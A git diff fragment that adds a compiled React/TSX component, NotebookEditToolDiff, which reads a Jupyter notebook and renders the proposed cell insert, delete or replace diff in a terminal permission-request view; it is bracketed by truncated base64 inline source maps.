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
\ No newline at end of file
diff --git a/cc-haha/src/components/permissions/NotebookEditPermissionRequest/NotebookEditToolDiff.tsx b/cc-haha/src/components/permissions/NotebookEditPermissionRequest/NotebookEditToolDiff.tsx
new file mode 100644
index 0000000..af75daf
--- /dev/null
+++ b/cc-haha/src/components/permissions/NotebookEditPermissionRequest/NotebookEditToolDiff.tsx
@@ -0,0 +1,235 @@
+import { c as _c } from "react/compiler-runtime";
+import { relative } from 'path';
+import * as React from 'react';
+import { Suspense, use, useMemo } from 'react';
+import { Box, NoSelect, Text } from '../../../ink.js';
+import type { NotebookCellType, NotebookContent } from '../../../types/notebook.js';
+import { intersperse } from '../../../utils/array.js';
+import { getCwd } from '../../../utils/cwd.js';
+import { getPatchForDisplay } from '../../../utils/diff.js';
+import { getFsImplementation } from '../../../utils/fsOperations.js';
+import { safeParseJSON } from '../../../utils/json.js';
+import { parseCellId } from '../../../utils/notebook.js';
+import { HighlightedCode } from '../../HighlightedCode.js';
+import { StructuredDiff } from '../../StructuredDiff.js';
+type Props = {
+  notebook_path: string;
+  cell_id: string | undefined;
+  new_source: string;
+  cell_type?: NotebookCellType;
+  edit_mode?: string;
+  verbose: boolean;
+  width: number;
+};
+type InnerProps = {
+  notebook_path: string;
+  cell_id: string | undefined;
+  new_source: string;
+  cell_type?: NotebookCellType;
+  edit_mode?: string;
+  verbose: boolean;
+  width: number;
+  promise: Promise<NotebookContent | null>;
+};
+export function NotebookEditToolDiff(props) {
+  const $ = _c(5);
+  let t0;
+  if ($[0] !== props.notebook_path) {
+    t0 = getFsImplementation().readFile(props.notebook_path, {
+      encoding: "utf-8"
+    }).then(_temp).catch(_temp2);
+    $[0] = props.notebook_path;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const notebookDataPromise = t0;
+  let t1;
+  if ($[2] !== notebookDataPromise || $[3] !== props) {
+    t1 = <Suspense fallback={null}><NotebookEditToolDiffInner {...props} promise={notebookDataPromise} /></Suspense>;
+    $[2] = notebookDataPromise;
+    $[3] = props;
+    $[4] = t1;
+  } else {
+    t1 = $[4];
+  }
+  return t1;
+}
+function _temp2() {
+  return null;
+}
+function _temp(content) {
+  return safeParseJSON(content) as NotebookContent | null;
+}
+function NotebookEditToolDiffInner(t0) {
+  const $ = _c(34);
+  const {
+    notebook_path,
+    cell_id,
+    new_source,
+    cell_type,
+    edit_mode: t1,
+    verbose,
+    width,
+    promise
+  } = t0;
+  const edit_mode = t1 === undefined ? "replace" : t1;
+  const notebookData = use(promise);
+  let t2;
+  if ($[0] !== cell_id || $[1] !== notebookData) {
+    bb0: {
+      if (!notebookData || !cell_id) {
+        t2 = "";
+        break bb0;
+      }
+      const cellIndex = parseCellId(cell_id);
+      if (cellIndex !== undefined) {
+        if (notebookData.cells[cellIndex]) {
+          const source = notebookData.cells[cellIndex].source;
+          let t3;
+          if ($[3] !== source) {
+            t3 = Array.isArray(source) ? source.join("") : source;
+            $[3] = source;
+            $[4] = t3;
+          } else {
+            t3 = $[4];
+          }
+          t2 = t3;
+          break bb0;
+        }
+        t2 = "";
+        break bb0;
+      }
+      let t3;
+      if ($[5] !== cell_id) {
+        t3 = cell => cell.id === cell_id;
+        $[5] = cell_id;
+        $[6] = t3;
+      } else {
+        t3 = $[6];
+      }
+      const cell_0 = notebookData.cells.find(t3);
+      if (!cell_0) {
+        t2 = "";
+        break bb0;
+      }
+      t2 = Array.isArray(cell_0.source) ? cell_0.source.join("") : cell_0.source;
+    }
+    $[0] = cell_id;
+    $[1] = notebookData;
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  const oldSource = t2;
+  let t3;
+  bb1: {
+    if (!notebookData || edit_mode === "insert" || edit_mode === "delete") {
+      t3 = null;
+      break bb1;
+    }
+    let t4;
+    if ($[7] !== new_source || $[8] !== notebook_path || $[9] !== oldSource) {
+      t4 = getPatchForDisplay({
+        filePath: notebook_path,
+        fileContents: oldSource,
+        edits: [{
+          old_string: oldSource,
+          new_string: new_source,
+          replace_all: false
+        }],
+        ignoreWhitespace: false
+      });
+      $[7] = new_source;
+      $[8] = notebook_path;
+      $[9] = oldSource;
+      $[10] = t4;
+    } else {
+      t4 = $[10];
+    }
+    t3 = t4;
+  }
+  const hunks = t3;
+  let editTypeDescription;
+  bb2: switch (edit_mode) {
+    case "insert":
+      {
+        editTypeDescription = "Insert new cell";
+        break bb2;
+      }
+    case "delete":
+      {
+        editTypeDescription = "Delete cell";
+        break bb2;
+      }
+    default:
+      {
+        editTypeDescription = "Replace cell contents";
+      }
+  }
+  let t4;
+  if ($[11] !== notebook_path || $[12] !== verbose) {
+    t4 = verbose ? notebook_path : relative(getCwd(), notebook_path);
+    $[11] = notebook_path;
+    $[12] = verbose;
+    $[13] = t4;
+  } else {
+    t4 = $[13];
+  }
+  let t5;
+  if ($[14] !== t4) {
+    t5 = <Text bold={true}>{t4}</Text>;
+    $[14] = t4;
+    $[15] = t5;
+  } else {
+    t5 = $[15];
+  }
+  const t6 = cell_type ? ` (${cell_type})` : "";
+  let t7;
+  if ($[16] !== cell_id || $[17] !== editTypeDescription || $[18] !== t6) {
+    t7 = <Text dimColor={true}>{editTypeDescription} for cell {cell_id}{t6}</Text>;
+    $[16] = cell_id;
+    $[17] = editTypeDescription;
+    $[18] = t6;
+    $[19] = t7;
+  } else {
+    t7 = $[19];
+  }
+  let t8;
+  if ($[20] !== t5 || $[21] !== t7) {
+    t8 = <Box paddingBottom={1} flexDirection="column">{t5}{t7}</Box>;
+    $[20] = t5;
+    $[21] = t7;
+    $[22] = t8;
+  } else {
+    t8 = $[22];
+  }
+  let t9;
+  if ($[23] !== cell_type || $[24] !== edit_mode || $[25] !== hunks || $[26] !== new_source || $[27] !== notebook_path || $[28] !== oldSource || $[29] !== width) {
+    t9 = edit_mode === "delete" ? <Box flexDirection="column" paddingLeft={2}><HighlightedCode code={oldSource} filePath={notebook_path} /></Box> : edit_mode === "insert" ? <Box flexDirection="column" paddingLeft={2}><HighlightedCode code={new_source} filePath={cell_type === "markdown" ? "file.md" : notebook_path} /></Box> : hunks ? intersperse(hunks.map(_ => <StructuredDiff key={_.newStart} patch={_} dim={false} width={width} filePath={notebook_path} firstLine={new_source.split("\n")[0] ?? null} fileContent={oldSource} />), _temp3) : <HighlightedCode code={new_source} filePath={cell_type === "markdown" ? "file.md" : notebook_path} />;
+    $[23] = cell_type;
+    $[24] = edit_mode;
+    $[25] = hunks;
+    $[26] = new_source;
+    $[27] = notebook_path;
+    $[28] = oldSource;
+    $[29] = width;
+    $[30] = t9;
+  } else {
+    t9 = $[30];
+  }
+  let t10;
+  if ($[31] !== t8 || $[32] !== t9) {
+    t10 = <Box flexDirection="column"><Box borderStyle="round" flexDirection="column" paddingX={1}>{t8}{t9}</Box></Box>;
+    $[31] = t8;
+    $[32] = t9;
+    $[33] = t10;
+  } else {
+    t10 = $[33];
+  }
+  return t10;
+}
+function _temp3(i) {
+  return <NoSelect fromLeftEdge={true} key={`ellipsis-${i}`}><Text dimColor={true}>...</Text></NoSelect>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJyZWxhdGl2ZSIsIlJlYWN0IiwiU3VzcGVuc2UiLCJ1c2UiLCJ1c2VNZW1vIiwiQm94IiwiTm9TZWxlY3QiLCJUZXh0IiwiTm90ZWJvb2tDZWxsVHlwZSIsIk5vdGVib29rQ29udGVudCIsImludGVyc3BlcnNlIiwiZ2V0Q3dkIiwiZ2V0UGF0Y2hGb3JEaXNwbGF5IiwiZ2V0RnNJbXBsZW1lbnRhdGlvbiIsInNhZmVQYXJzZUpTT04iLCJwYXJzZUNlbGxJZCIsIkhpZ2hsaWdodGVkQ29kZSIsIlN0cnVjdHVyZWREaWZmIiwiUHJvcHMiLCJub3RlYm9va19wYXRoIiwiY2VsbF9pZCIsIm5ld19zb3VyY2UiLCJjZWxsX3R5cGUiLCJlZGl0X21vZGUiLCJ2ZXJib3NlIiwid2lkdGgiLCJJbm5lclByb3BzIiwicHJvbWlzZSIsIlByb21pc2UiLCJOb3RlYm9va0VkaXRUb29sRGlmZiIsInByb3BzIiwiJCIsIl9jIiwidDAiLCJyZWFkRmlsZSIsImVuY29kaW5nIiwidGhlbiIsIl90ZW1wIiwiY2F0Y2giLCJfdGVtcDIiLCJub3RlYm9va0RhdGFQcm9taXNlIiwidDEiLCJjb250ZW50IiwiTm90ZWJvb2tFZGl0VG9vbERpZmZJbm5lciIsInVuZGVmaW5lZCIsIm5vdGVib29rRGF0YSIsInQyIiwiYmIwIiwiY2VsbEluZGV4IiwiY2VsbHMiLCJzb3VyY2UiLCJ0MyIsIkFycmF5IiwiaXNBcnJheSIsImpvaW4iLCJjZWxsIiwiaWQiLCJjZWxsXzAiLCJmaW5kIiwib2xkU291cmNlIiwiYmIxIiwidDQiLCJmaWxlUGF0aCIsImZpbGVDb250ZW50cyIsImVkaXRzIiwib2xkX3N0cmluZyIsIm5ld19zdHJpbmciLCJyZXBsYWNlX2FsbCIsImlnbm9yZVdoaXRlc3BhY2UiLCJodW5rcyIsImVkaXRUeXBlRGVzY3JpcHRpb24iLCJiYjIiLCJ0NSIsInQ2IiwidDciLCJ0OCIsInQ5IiwibWFwIiwiXyIsIm5ld1N0YXJ0Iiwic3BsaXQiLCJfdGVtcDMiLCJ0MTAiLCJpIl0sInNvdXJjZXMiOlsiTm90ZWJvb2tFZGl0VG9vbERpZmYudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCB7IHJlbGF0aXZlIH0gZnJvbSAncGF0aCdcbmltcG9ydCAqIGFzIFJlYWN0IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgU3VzcGVuc2UsIHVzZSwgdXNlTWVtbyB9IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgQm94LCBOb1NlbGVjdCwgVGV4dCB9IGZyb20gJy4uLy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHtcbiAgTm90ZWJvb2tDZWxsVHlwZSxcbiAgTm90ZWJvb2tDb250ZW50LFxufSBmcm9tICcuLi8uLi8uLi90eXBlcy9ub3RlYm9vay5qcydcbmltcG9ydCB7IGludGVyc3BlcnNlIH0gZnJvbSAnLi4vLi4vLi4vdXRpbHMvYXJyYXkuanMnXG5pbXBvcnQgeyBnZXRDd2QgfSBmcm9tICcuLi8uLi8uLi91dGlscy9jd2QuanMnXG5pbXBvcnQgeyBnZXRQYXRjaEZvckRpc3BsYXkgfSBmcm9tICcuLi8uLi8uLi91dGlscy9kaWZmLmpzJ1xuaW1wb3J0IHsgZ2V0RnNJbXBsZW1lbnRhdGlvbiB9IGZyb20gJy4uLy4uLy4uL3V0aWxzL2ZzT3BlcmF0aW9ucy5qcydcbmltcG9ydCB7IHNhZmVQYXJzZUpTT04gfSBmcm9tICcuLi8uLi8uLi91dGlscy9qc29uLmpzJ1xuaW1wb3J0IHsgcGFyc2VDZWxsSWQgfSBmcm9tICcuLi8uLi8uLi91dGlscy9ub3RlYm9vay5qcydcbmltcG9ydCB7IEhpZ2hsaWdodGVkQ29kZSB9IGZyb20gJy4uLy4uL0hpZ2hsaWdodGVkQ29kZS5qcydcbmltcG9ydCB7IFN0cnVjdHVyZWREaWZmIH0gZnJvbSAnLi4vLi4vU3RydWN0dXJlZERpZmYuanMnXG5cbnR5cGUgUHJvcHMgPSB7XG4gIG5vdGVib29rX3BhdGg6IHN0cmluZ1xuICBjZWxsX2lkOiBzdHJpbmcgfCB1bmRlZmluZWRcbiAgbmV3X3NvdXJjZTogc3RyaW5nXG4gIGNlbGxfdHlwZT86IE5vdGVib29rQ2VsbFR5cGVcbiAgZWRpdF9tb2RlPzogc3RyaW5nXG4gIHZlcmJvc2U6IGJvb2xlYW5cbiAgd2lkdGg6IG51bWJlclxufVxuXG50eXBlIElubmVyUHJvcHMgPSB7XG4gIG5vdGVib29rX3BhdGg6IHN0cmluZ1xuICBjZWxsX2lkOiBzdHJpbmcgfCB1bmRlZmluZWRcbiAgbmV3X3NvdXJjZTogc3RyaW5nXG4gIGNlbGxfdHlwZT86IE5vdGVib29rQ2VsbFR5cGVcbiAgZWRpdF9tb2RlPzogc3RyaW5nXG4gIHZlcmJvc2U6IGJvb2xlYW5cbiAgd2lkdGg6IG51bWJlclxuICBwcm9taXNlOiBQcm9taXNlPE5vdGVib29rQ29udGVudCB8IG51bGw+XG59XG5cbmV4cG9ydCBmdW5jdGlvbiBOb3RlYm9va0VkaXRUb29sRGlmZihwcm9wczogUHJvcHMpOiBSZWFjdC5SZWFjdE5vZGUge1xuICAvLyBDcmVhdGUgYSBwcm9taXNlIHRoYXQgbmV2ZXIgcmVqZWN0cyBzbyB3ZSBjYW4gaGFuZGxlIGVycm9ycyBpbmxpbmUuXG4gIC8vIE1lbW9pemVkIG9uIG5vdGVib29rX3BhdGggc28gd2UgZG9uJ3QgcmUtcmVhZCBvbiBldmVyeSByZW5kZXIuXG4gIGNvbnN0IG5vdGVib29rRGF0YVByb21pc2UgPSB1c2VNZW1vKFxuICAgICgpID0+XG4gICAgICBnZXRGc0ltcGxlbWVudGF0aW9uKClcbiAgICAgICAgLnJlYWRGaWxlKHByb3BzLm5vdGVib29rX3BhdGgsIHsgZW5jb2Rpbmc6ICd1dGYtOCcgfSlcbiAgICAgICAgLnRoZW4oY29udGVudCA9PiBzYWZlUGFyc2VKU09OKGNvbnRlbnQpIGFzIE5vdGVib29rQ29udGVudCB8IG51bGwpXG4gICAgICAgIC5jYXRjaCgoKSA9PiBudWxsKSxcbiAgICBbcHJvcHMubm90ZWJvb2tfcGF0aF0sXG4gIClcblxuICByZXR1cm4gKFxuICAgIDxTdXNwZW5zZSBmYWxsYmFjaz17bnVsbH0+XG4gICAgICA8Tm90ZWJvb2tFZGl0VG9vbERpZmZJbm5lciB7Li4ucHJvcHN9IHByb21pc2U9e25vdGVib29rRGF0YVByb21pc2V9IC8+XG4gICAgPC9TdXNwZW5zZT5cbiAgKVxufVxuXG5mdW5jdGlvbiBOb3RlYm9va0VkaXRUb29sRGlmZklubmVyKHtcbiAgbm90ZWJvb2tfcGF0aCxcbiAgY2VsbF9pZCxcbiAgbmV3X3NvdXJjZSxcbiAgY2VsbF90eXBlLFxuICBlZGl0X21vZGUgPSAncmVwbGFjZScsXG4gIHZlcmJvc2UsXG4gIHdpZHRoLFxuICBwcm9taXNlLFxufTogSW5uZXJQcm9wcyk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGNvbnN0IG5vdGVib29rRGF0YSA9IHVzZShwcm9taXNlKVxuXG4gIGNvbnN0IG9sZFNvdXJjZSA9IHVzZU1lbW8oKCkgPT4ge1xuICAgIGlmICghbm90ZWJvb2tEYXRhIHx8ICFjZWxsX2lkKSB7XG4gICAgICByZXR1cm4gJydcbiAgICB9XG4gICAgY29uc3QgY2VsbEluZGV4ID0gcGFyc2VDZWxsSWQoY2VsbF9pZClcbiAgICBpZiAoY2VsbEluZGV4ICE9PSB1bmRlZmluZWQpIHtcbiAgICAgIGlmIChub3RlYm9va0RhdGEuY2VsbHNbY2VsbEluZGV4XSkge1xuICAgICAgICBjb25zdCBzb3VyY2UgPSBub3RlYm9va0RhdGEuY2VsbHNbY2VsbEluZGV4XS5zb3VyY2VcbiAgICAgICAgcmV0dXJuIEFycmF5LmlzQXJyYXkoc291cmNlKSA/IHNvdXJjZS5qb2luKCcnKSA6IHNvdXJjZVxuICAgICAgfVxuICAgICAgcmV0dXJuICcnXG4gICAgfVxuICAgIGNvbnN0IGNlbGwgPSBub3RlYm9va0RhdGEuY2VsbHMuZmluZChjZWxsID0+IGNlbGwuaWQgPT09IGNlbGxfaWQpXG4gICAgaWYgKCFjZWxsKSB7XG4gICAgICByZXR1cm4gJydcbiAgICB9XG4gICAgcmV0dXJuIEFycmF5LmlzQXJyYXkoY2VsbC5zb3VyY2UpID8gY2VsbC5zb3VyY2Uuam9pbignJykgOiBjZWxsLnNvdXJjZVxuICB9LCBbbm90ZWJvb2tEYXRhLCBjZWxsX2lkXSlcblxuICBjb25zdCBodW5rcyA9IHVzZU1lbW8oKCkgPT4ge1xuICAgIGlmICghbm90ZWJvb2tEYXRhIHx8IGVkaXRfbW9kZSA9PT0gJ2luc2VydCcgfHwgZWRpdF9tb2RlID09PSAnZGVsZXRlJykge1xuICAgICAgcmV0dXJuIG51bGxcbiAgICB9XG4gICAgLy8gQ3JlYXRlIGEgXCJmYWtlXCIgZmlsZSBjb250ZW50IHdpdGgganVzdCB0aGUgY2VsbCBzb3VyY2VcbiAgICAvLyBUaGlzIGFsbG93cyB1cyB0byB1c2UgdGhlIHJlZ3VsYXIgZGlmZiBtZWNoYW5pc21cbiAgICByZXR1cm4gZ2V0UGF0Y2hGb3JEaXNwbGF5KHtcbiAgICAgIGZpbGVQYXRoOiBub3RlYm9va19wYXRoLFxuICAgICAgZmlsZUNvbnRlbnRzOiBvbGRTb3VyY2UsXG4gICAgICBlZGl0czogW1xuICAgICAgICB7XG4gICAgICAgICAgb2xkX3N0cmluZzogb2xkU291cmNlLFxuICAgICAgICAgIG5ld19zdHJpbmc6IG5ld19zb3VyY2UsXG4gICAgICAgICAgcmVwbGFjZV9hbGw6IGZhbHNlLFxuICAgICAgICB9LFxuICAgICAg